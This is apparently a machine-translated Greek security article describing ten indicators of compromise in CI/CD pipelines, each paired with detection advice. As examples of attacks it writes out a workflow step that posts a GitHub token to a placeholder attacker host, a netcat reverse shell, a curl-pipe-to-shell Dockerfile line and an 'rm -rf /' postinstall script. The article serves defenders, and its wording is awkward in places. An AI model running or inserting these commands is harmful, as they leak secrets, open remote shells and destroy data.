Εισαγωγή: Ποιοι είναι οι δείκτες συμβιβασμού στην κυβερνοασφάλεια;
Οι ενδείξεις παραβίασης είναι τα πρώτα προειδοποιητικά σημάδια ότι το σύστημά σας ή pipeline μπορεί να δεχτεί επίθεση. Με απλά λόγια, δείκτες συμβιβασμού είναι ίχνη που άφησαν οι επιτιθέμενοι, όπως παράξενα logins, αλλαγές αρχείων ή κρυφό κακόβουλο λογισμικό. Στο Κυβερνοασφάλεια της ΔΟΕ, λειτουργούν σαν δακτυλικά αποτυπώματα σε έναν τόπο εγκλήματος, δίνοντάς σας σαφείς ενδείξεις ότι κάτι δεν πάει καλά. Επομένως, όταν οι προγραμματιστές ρωτούν ποια είναι τα σημάδια συμβιβασμού, η απάντηση δεν περιορίζεται σε διακομιστές ή τείχη προστασίας, περιλαμβάνει επίσης κινδύνους που κρύβονται στις σύγχρονες CI/CD pipelines.
Σε αυτα pipelines, οι εισβολείς μπορούν να παραβιάσουν τον κώδικα, να εισάγουν κακόβουλες εξαρτήσεις ή να αλλάξουν τα βήματα κατασκευής χωρίς να γίνουν αντιληπτοί. Ωστόσο, οι περισσότεροι οδηγοί εξακολουθούν να επικεντρώνονται μόνο σε διακομιστές ή δίκτυα. Ως αποτέλεσμα, η αλυσίδα εφοδιασμού λογισμικού έχει γίνει ένας από τους ευκολότερους στόχους.
Γι' αυτό και η εύρεση ενδείξεων συμβιβασμού CI/CD pipelineΤο s είναι απαραίτητο. Πάνω απ' όλα, βοηθά τις ομάδες να μπλοκάρουν το κακόβουλο λογισμικό, να προστατεύουν τα μυστικά και να ασφαλίζουν κάθε βήμα της παράδοσης λογισμικού.
Οι 10 Κορυφαίοι Δείκτες Συμβιβασμού στο CI/CD Pipelines
Όταν εξηγούνται οι δείκτες παραβίασης, οι περισσότερες λίστες επικεντρώνονται σε διακομιστές ή δίκτυα. Ωστόσο, CI/CD pipelines, οι εισβολείς αφήνουν πολύ διαφορετικά δακτυλικά αποτυπώματα. Η αναγνώριση αυτών των σημάτων είναι ζωτικής σημασίας για την προληπτική άμυνα. Παρακάτω παρατίθενται οι 10 προειδοποιητικές σημαίες κυβερνοασφάλειας της ΔΟΕ που πρέπει να προσέχει κάθε προγραμματιστής και μηχανικός ασφαλείας.
1. Ύποπτες αλλαγές στην εξάρτηση
Ένας από τους κύριους δείκτες συμβιβασμού pipelineΤο s είναι μια ξαφνική, περίεργη ενημέρωση εξαρτήσεων. Οι εισβολείς συχνά χρησιμοποιούν την εμπιστοσύνη που θέτουν οι προγραμματιστές στους διαχειριστές πακέτων για να προσθέσουν επικίνδυνα πακέτα.
Για παράδειγμα, στο npm a package.json Η διαφορά μπορεί ξαφνικά να περιλαμβάνει:
+ "crypto-helper": "^1.0.2" Τέτοιες αλλαγές μπορεί να φαίνονται ασφαλείς, αλλά μπορούν να εισάγουν κώδικα που έχει μολυνθεί με trojan σε κάθε έκδοση.
Επίπτωση: Οι παραβιασμένες εκδόσεις κληρονομούν κακόβουλο λογισμικό στην πηγή.
Ανίχνευση: επιβολή αναθεωρήσεων εξαρτήσεων, παρακολούθηση διαφορών κλειδώματος αρχείων και σάρωση νέων πακέτων συνεχώς.
2. Συγκεχυμένος κώδικας σε δομές
Οι δημιουργοί κακόβουλου λογισμικού βασίζονται στην παραμόρφωση για να παρακάμψουν τις αξιολογήσεις. Ως αποτέλεσμα, αυτός ο δείκτης παραβίασης CI/CD pipelineΤο s μπορεί να είναι ένα από τα πιο δύσκολα στην ανίχνευση. Στην πραγματικότητα, τα ασαφή ωφέλιμα φορτία συχνά γλιστρούν σε βιβλιοθήκες ανοιχτού κώδικα ή εικόνες κοντέινερ χωρίς προειδοποίηση.
Για παράδειγμα:
- Ένα πακέτο PyPI που χρησιμοποιεί
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - Μια εικόνα Docker γεμάτη με μη απαραίτητα δυαδικά αρχεία UPX.
- JavaScript γεμάτο με
\x41\x42δραπετεύει κρύβοντας κλέφτες διαπιστευτηρίων.
Επίπτωση: Ο κρυφός κώδικας εκτελείται σιωπηλά κατά τη διάρκεια της κατασκευής ή του χρόνου εκτέλεσης, γεγονός που το καθιστά κρίσιμο σήμα στην κυβερνοασφάλεια του IOC.
Ανίχνευση: Συνδυασμός SAST με σάρωση κακόβουλου λογισμικού για την επισήμανση κωδικοποιημένου ή συσκευασμένου κώδικα. Πάνω απ 'όλα, αντιμετωπίστε την απόκρυψη πληροφοριών ως προειδοποιητικό σημάδι που αξίζει περαιτέρω διερεύνηση.
3. Μυστικά που αποκαλύπτονται στο Git: Ένας κλασικός κίνδυνος κυβερνοασφάλειας της IOC
CI/CD pipelineσυχνά κληρονομούν μυστικά απευθείας από αποθετήρια. Ωστόσο, όταν εμφανίζονται μυστικά στο Git, γίνονται μια από τις πιο σαφείς απαντήσεις στο ερώτημα «ποιοι είναι οι δείκτες συμβιβασμού στο pipelines;" Μόλις τα διαπιστευτήρια εισέλθουν στο Git, οι εισβολείς μπορούν να τα εκμεταλλευτούν επ' αόριστον.
Για παράδειγμα:
- A
.envαρχείο που περιέχειAWS_SECRET_KEY=. - Εισήχθησαν μάρκες
config.json. - Μυστικά που εξακολουθούν να είναι ορατά στο ιστορικό του Git ακόμη και μετά την αφαίρεση.
Επίπτωση: Τα εκτεθειμένα κλειδιά δίνουν στους εισβολείς άμεση πρόσβαση σε CI/CD pipelines, συστήματα cloud ή βάσεις δεδομένων. Αυτός είναι επομένως ένας από τους πιο επικίνδυνους δείκτες παραβίασης.
Ανίχνευση: Χρήση pre-commit hooks και εργασίες CI για μυστική σάρωση και άμεση ανάκληση κλειδιών που έχουν διαρρεύσει. Επιπλέον, επιβολή αυτοματοποιημένης αποκατάστασης για τη μείωση των παραθύρων έκθεσης.
4. Παραποιημένο Pipeline Διαμορφώσεις: Κρυφοί Δείκτες Παραβίασης
Pipeline Οι διαμορφώσεις είναι στόχοι υψηλής αξίας επειδή Μία μόνο τροποποίηση συχνά καταλαμβάνει ολόκληρη τη ροή εργασίαςΚατά συνέπεια, παραποιήθηκε pipeline Τα αρχεία αποτελούν σημαντικό κίνδυνο κυβερνοασφάλειας της IOC που σπάνια ανιχνεύουν τα παραδοσιακά εργαλεία παρακολούθησης.
Για παράδειγμα:
Ενέργειες στο GitHub:
- run: curl -X POST http://attacker[.]com --data $GITHUB_TOKEN- Στο GitLab: προστέθηκε μια κακόβουλη εργασία στο
.gitlab-ci.ymlπου διαρρέει ευαίσθητα δεδομένα. - Στο Τζένκινς:
sh "nc -e /bin/bash attacker.com 4444".
Επίπτωση: Αυτές οι μη εγκεκριμένες αλλαγές σας μετατρέπουν pipeline σε μια μόνιμη κερκόπορτα για τους επιτιθέμενους, κάτι που σαφώς θεωρείται ένδειξη παραβίασης.
Ανίχνευση: Επιβολή υπογεγραμμένων ρυθμίσεων, απαίτηση εγκρίσεων PR και παρακολούθηση μη αναμενόμενων εργασιών. Επιπλέον, ορισμός guardrails που μπλοκάρουν αυτόματα τις τροποποιημένες ροές εργασίας.
5. Προνομιούχοι IaC Προεπιλογές
Οι λανθασμένα διαμορφωμένοι ορισμοί υποδομής συχνά δημιουργούν κρυφές κερκόπορτες. Ως αποτέλεσμα, οι προνομιακές προεπιλογές IaC αποτελούν έναν κλασικό κίνδυνο κυβερνοασφάλειας της ΔΟΕ.
Για παράδειγμα:
- Μια ανάπτυξη Kubernetes που χορηγεί pods
privileged: true. - Διαγράμματα Helm που εκθέτουν υπηρεσίες με
0.0.0.0:22.
Επίπτωση: Οι επιτιθέμενοι αποκτούν πρόσβαση σε επίπεδο root ή εκθέτουν δημόσια εσωτερικές υπηρεσίες. Κατά συνέπεια, αυτά τα ζητήματα διευρύνουν σημαντικά την επιφάνεια της επίθεσης.
Ανίχνευση: Εγγραφές IaC σάρωση για την επιβολή των ελάχιστων δικαιωμάτων πριν από τη συγχώνευση. Επιπλέον, βεβαιωθείτε ότι κάθε διαμόρφωση ελέγχεται ως μέρος της pipeline.
6. Ασυνήθιστες συμπεριφορές κατασκευής
Οι επιτιθέμενοι συχνά αλλάζουν pipeline συμπεριφορά για να διολισθήσει σε κακόβουλες ενέργειες. Με άλλα λόγια, η ασυνήθιστη δραστηριότητα δημιουργίας είναι μια από τις πιο σαφείς απαντήσεις σε ό,τι αποτελεί ένδειξη παραβίασης CI/CD pipelines.
Για παράδειγμα:
- Δημιουργεί αιτήματα εξερχόμενου δικτύου σε παράξενους τομείς.
- Ένα έργο Node.js ξαφνικά έφερε το PowerShell κατά τη διάρκεια
npm install. - Μια εργασία CI που κατεβάζει μεγάλα δυαδικά αρχεία που δεν ορίζονται στα σενάρια δημιουργίας.
Επίπτωση: Οι παραβιασμένες εκδόσεις μπορούν να λειτουργήσουν ως σημεία διανομής κακόβουλου λογισμικού. Πάνω απ 'όλα, διαδίδουν κακόβουλα ωφέλιμα φορτία σε κάθε ανάπτυξη.
Ανίχνευση: Παρακολουθήστε τα αρχεία καταγραφής δημιουργίας για μη αναμενόμενες διεργασίες ή συνδέσεις. Επιπλέον, διαμορφώστε την ανίχνευση ανωμαλιών για να επισημάνετε συμπεριφορές εκτός του κανονικού.
7. Κακόβουλα σενάρια πακέτων ως κίνδυνοι κυβερνοασφάλειας της IOC
Οι διαχειριστές πακέτων υποστηρίζουν τον κύκλο ζωής hooks που εκμεταλλεύονται οι επιτιθέμενοι. Επομένως, τα κακόβουλα σενάρια σε npm, PyPI ή Dockerfiles αποτελούν ισχυρές ενδείξεις παραβίασης.
Για παράδειγμα:
- npm:
postinstallσενάριο που εκτελείταιrm -rf /ή σήμανση σε ένα C2. - PyPI:
setup.pyΕκτέλεση κρυφού κώδικα Python κατά την εγκατάσταση. - Αρχείο Docker:
RUN curl attacker.sh | sh.
Επίπτωση: Η επίθεση εκτελείται κατά την εγκατάσταση, πριν από οποιαδήποτε δοκιμή κατά τον χρόνο εκτέλεσης. Κατά συνέπεια, οι προγραμματιστές ενδέχεται να μην το προσέξουν μέχρι να είναι πολύ αργά.
Ανίχνευση: Σάρωση μανιφέστων πακέτων για σενάρια εγκατάστασης. Επιπλέον, περιορίστε τα επικίνδυνα hooks in CI/CD θέσεις εργασίας για τη μείωση της έκθεσης.
8. Δείκτες Δηλητηρίασης Μητρώου που Υποδηλώνουν Παραβίαση
Οι επιτιθέμενοι αντικαθιστούν ή τροποποιούν αντικείμενα σε μητρώα και αυτά τα συμβάντα αποτελούν τυπικά παραδείγματα για το τι αποτελούν δείκτες παραβίασης στην αλυσίδα εφοδιασμού. pipelines.
Για παράδειγμα:
- Μια ετικέτα εικόνας Docker ενημερώθηκε σιωπηλά με ένα επίπεδο που έχει υποστεί trojan.
- Ένα εσωτερικό πακέτο αντικαταστάθηκε με μια δηλητηριασμένη έκδοση.
- κατάληψη χώρου ονομάτων npm, όπως
lodash-proxy.
Επίπτωση: Κάθε build που χρησιμοποιεί το τεχνούργημα μητρώου παραβιάζεται. Όχι μόνο αυτό, αλλά η παραβίαση εξαπλώνεται και στις υπηρεσίες downstream.
Ανίχνευση: Επιβολή ελέγχων υπογραφής και ακεραιότητας σε όλα τα αρχεία μητρώου. Επιπλέον, παρακολούθηση προέλευσης τεχνουργημάτων με SBOM επικύρωση.
9. Ανώμαλη δραστηριότητα χρήστη ως απόδειξη IOC
Οι παραβιασμένοι λογαριασμοί σχεδόν πάντα αφήνουν πίσω τους ασυνήθιστα ίχνη. Συνεπώς, η ασυνήθιστη συμπεριφορά των προγραμματιστών αποτελεί ισχυρή ένδειξη παραβίασης.
Για παράδειγμα:
- Commits προωθήθηκε στις 3 π.μ. τοπική ώρα.
- Εγκρίσεις PR από λογαριασμούς σε διακοπές.
- Pipelines ενεργοποιείται με ασυνήθιστη συχνότητα.
Επίπτωση: Οι εισβολείς κάνουν κατάχρηση κλεμμένων διαπιστευτηρίων για να εισάγουν κακόβουλες αλλαγές. Άλλωστε, οι μη εξουσιοδοτημένες commitενσωματώνονται εύκολα σε κανονικές ροές εργασίας.
Ανίχνευση: Παρακολούθηση SCM δραστηριότητα για ανωμαλίες, επιβολή MFA και τακτική εναλλαγή διακριτικών. Επιπλέον, ειδοποίηση σε περίπτωση ύποπτων commit ή πρότυπα έγκρισης.
10. Αποτυχημένοι έλεγχοι ακεραιότητας ή υπογραφής στην κυβερνοασφάλεια της IOC
Ένα συνηθισμένο αλλά αγνοημένο δείκτης συμβιβασμού είναι ένας αποτυχημένος έλεγχος ακεραιότητας ή υπογραφής. Στην κυβερνοασφάλεια του IOC, αυτοί οι έλεγχοι επαληθεύουν ότι ο κώδικας ή τα αντικείμενα είναι αυθεντικά. Η παράλειψή τους αφήνει pipelines εκτεθειμένο.
Παραδείγματα:
- Ένα hash SHA256 δεν ταιριάζει με το αναμενόμενο άθροισμα ελέγχου.
- Μια υπογραφή GPG που λείπει ή είναι μη έγκυρη.
- An SBOM που δείχνουν ανυπόγραφα αντικείμενα.
Επίπτωση: Οι βλάβες ακεραιότητας συχνά σημαίνουν παραβίαση, δηλητηρίαση μητρώου ή εισαγωγή κακόβουλου λογισμικού.
Ανίχνευση: Αυτοματοποιήστε τους ελέγχους υπογραφών, επιβάλετε την επικύρωση αθροίσματος ελέγχου και αποκλείστε μη υπογεγραμμένα στοιχεία. Πάνω απ 'όλα, αντιμετωπίστε κάθε αποτυχημένο έλεγχο ως σαφή απόδειξη παραβίασης.
CI/CD Δείκτες Συμβιβασμού με μια ματιά
| Δείκτης Συμβιβασμού (ΔΟΕ) | Επιπτώσεις σε CI/CD Pipelines | Πώς να εντοπίσετε |
|---|---|---|
| Ύποπτες αλλαγές εξάρτησης | Οι επιτιθέμενοι εισάγουν κακόβουλες βιβλιοθήκες σε διαχειριστές πακέτων, οδηγώντας σε παραβιασμένες εκδόσεις. | Παρακολουθήστε τις διαφορές των αρχείων κλειδώματος, επιβάλετε ελέγχους εξαρτήσεων και σαρώστε τις εξαρτήσεις συνεχώς. |
| Συγκεκαλυμμένος κώδικας σε δομές | Τα κρυφά ωφέλιμα φορτία εκτελούνται κατά τη διάρκεια των builds ή του χρόνου εκτέλεσης χωρίς ανίχνευση. | Χρήση SAST και σάρωση κακόβουλου λογισμικού για την επισήμανση μοτίβων base64, hex ή packed code. |
| Μυστικά που αποκαλύπτονται στο Git | Τα διαρροή tokens ή κλειδιών API παρέχουν στους εισβολείς άμεση πρόσβαση σε κρίσιμα συστήματα. | Εκτέλεση μυστικών σαρώσεων στο Git hooks και να ανακαλέσει αυτόματα τα διαρροή διαπιστευτηρίων. |
| Παραποιημένο Pipeline διαμορφώσεις | Οι τροποποιημένες ροές εργασίας επιτρέπουν την εξαγωγή ή τη διατήρηση δεδομένων στο εσωτερικό τους. CI/CD. | Απαιτούνται εγκρίσεις PR, επιβάλλεται η εφαρμογή υπογεγραμμένων ρυθμίσεων και παρακολουθείται pipeline αλλαγές. |
| Προνομιούχος IaC Προεπιλογές | Οι υπερβολικά επιτρεπτικοί ρόλοι ή οι μη ασφαλείς προεπιλογές εκθέτουν τα περιβάλλοντα cloud. | Σαρώστε τα αρχεία Terraform, Kubernetes και Helm για την επιβολή των ελάχιστων δικαιωμάτων. |
| Ασυνήθιστες συμπεριφορές κατασκευής | Pipelineχρησιμοποιούνται ως σημεία διανομής κακόβουλου λογισμικού ή για πλευρική κίνηση. | Αναλύστε τα αρχεία καταγραφής δημιουργίας για μη αναμενόμενες λήψεις, διεργασίες ή εξερχόμενες κλήσεις. |
| Κακόβουλα σενάρια πακέτων | Τα κρυφά σενάρια πριν/μετά την εγκατάσταση ενεργοποιούν ωφέλιμα φορτία πριν από τις δοκιμές κατά τον χρόνο εκτέλεσης. | Αποκλεισμός επικίνδυνων σεναρίων npm/PyPI και περιορισμός εκτέλεσης σε CI/CD θέσεις εργασίας. |
| Δηλητηρίαση Μητρώου | Τα αντικείμενα που έχουν υποστεί επεξεργασία με Trojan αντικαθιστούν αξιόπιστες εικόνες ή δυαδικά αρχεία σε μητρώα. | Επαληθεύστε τα checksum, επιβάλετε την επικύρωση υπογραφών και σαρώστε τα μητρώα προληπτικά. |
| Ανώμαλη δραστηριότητα χρήστη | Οι παραβιασμένοι λογαριασμοί προωθούν κακόβουλο περιεχόμενο commits ή σκανδάλη pipelines. | Επιβολή MFA, παρακολούθηση commits για ανωμαλίες και ανάλυση login μοτίβα. |
| Αποτυχημένοι έλεγχοι ακεραιότητας ή υπογραφής | Υποδεικνύει παραποιημένο κώδικα, εξαρτήσεις ή εικόνες που εισέρχονται στο pipeline. | Αυτοματοποιήστε τους ελέγχους ακεραιότητας και αποκλείστε μη υπογεγραμμένα ή μη συμβατά στοιχεία. |
Γιατί η παραδοσιακή κυβερνοασφάλεια της ΔΟΕ αποτυγχάνει CI/CD Κίνδυνοι
Οι περισσότεροι οργανισμοί παρακολουθούν ήδη ενδείξεις παραβίασης σε διακομιστές, υπολογιστές ή δίκτυα. Ωστόσο, αυτή η κλασική προσέγγιση στην κυβερνοασφάλεια του IOC αγνοεί CI/CD pipelines, οι οποίες αποτελούν πλέον μία από τις πιο κρίσιμες επιφάνειες επίθεσης. Στην πραγματικότητα, pipelineδείχνουν μοναδικά σήματα παραβίασης που τα παραδοσιακά εργαλεία δεν μπορούν να ανιχνεύσουν.
Δείκτες Συμβιβασμού στην Παραδοσιακή Ασφάλεια
Στην συμβατική κυβερνοασφάλεια του IOC, η εστίαση είναι συνήθως στα εξής:
- Ασυνήθιστος logins ή διευθύνσεις IP που υποδηλώνουν κλεμμένα διαπιστευτήρια.
- Ύποπτα hashes αρχείων ή αλλαγές στο μητρώο που αποκαλύπτουν κακόβουλο λογισμικό.
- Μη αναμενόμενη εξερχόμενη κίνηση που υποδεικνύει εξαγωγή δεδομένων.
Αυτοί είναι γνωστοί δείκτες που παρακολουθούνται επίσης στο Πλαίσιο MITER ATT & CK, το οποίο χαρτογραφεί συνήθεις συμπεριφορές και τακτικές των αντιπάλων. Αυτά είναι χρήσιμα σήματα. Ωστόσο, ισχύουν κυρίως για λειτουργικά συστήματα ή εταιρικά δίκτυα. Ως αποτέλεσμα, παραβλέπουν τις ανεπαίσθητες παραβιάσεις που συμβαίνουν νωρίτερα στην αλυσίδα εφοδιασμού λογισμικού.
Γιατί CI/CD PipelineΤα s είναι διαφορετικά
CI/CD pipelineείναι αυτοματοποιημένα περιβάλλοντα όπου οι προγραμματιστές commit κώδικα, εξαρτήσεις έλξης και εκδόσεις έκδοσης. Οι επιτιθέμενοι γνωρίζουν ότι μια παραβίαση εδώ διαδίδεται σε κάθε ανάπτυξη. Συνεπώς, ποιοι είναι οι δείκτες παραβίασης σε CI/CD pipelines; Φαίνονται πολύ διαφορετικά:
- Μια κακόβουλη εξάρτηση προστέθηκε σιωπηλά στο package.json ή στο requirements.txt.
- Κλειδιά ή διακριτικά API που εκτίθενται στο Git commitαρχεία s ή .env.
- Συγκαλυμμένος κώδικας που έχει εισαχθεί σε πακέτα npm ή PyPI.
- Αρχεία Terraform ή Kubernetes με μη ασφαλείς προεπιλογές όπως privilege: true.
- Pipeline εργασίες που έχουν υποστεί επεξεργασία για την εξαγωγή δεδομένων ή το άνοιγμα κερκόπορτων.
Αυτά τα σήματα συμβιβασμού CI/CD παραμένουν αόρατοι σε standard εργαλεία ασφαλείας.
Το κενό στην κυβερνοασφάλεια της ΔΟΕ
Παρόλο που πολλές ομάδες κατανοούν την αξία των δεικτών παραβίασης, εξακολουθούν να βασίζονται μόνο στην ανίχνευση από διακομιστές και αρχεία καταγραφής δικτύου. Επομένως, οι εισβολείς μπορούν να δηλητηριάσουν builds ή να εισάγουν κακόβουλο λογισμικό χωρίς να αφήσουν τα συνηθισμένα ίχνη. Αυτός είναι ο λόγος για τον οποίο περιστατικά όπως το backdoor του XZ Utils ή τα κακόβουλα πακέτα npm δεν εντοπίστηκαν μέχρι να φτάσουν στην παραγωγή.
Αυτού του είδους οι συμβιβασμοί στην εφοδιαστική αλυσίδα επισημαίνονται επίσης από CISΟδηγίες ασφάλειας της εφοδιαστικής αλυσίδας της A, η οποία προειδοποιεί ότι οι επιτιθέμενοι στοχεύουν ολοένα και περισσότερο CI/CD pipelineκαι μητρώα.
Η Takeaway
Η παραδοσιακή κυβερνοασφάλεια της ΔΟΕ είναι απαραίτητη αλλά όχι αρκετή. Πάνω απ' όλα, οι ομάδες πρέπει να αναγνωρίζουν δείκτες παραβίασης που αφορούν συγκεκριμένα CI/CD pipelineΜόνο τότε μπορούν να εντοπίσουν κακόβουλο κώδικα ή pipeline κακοποίηση πριν εξαπλωθεί σε διάφορα περιβάλλοντα.
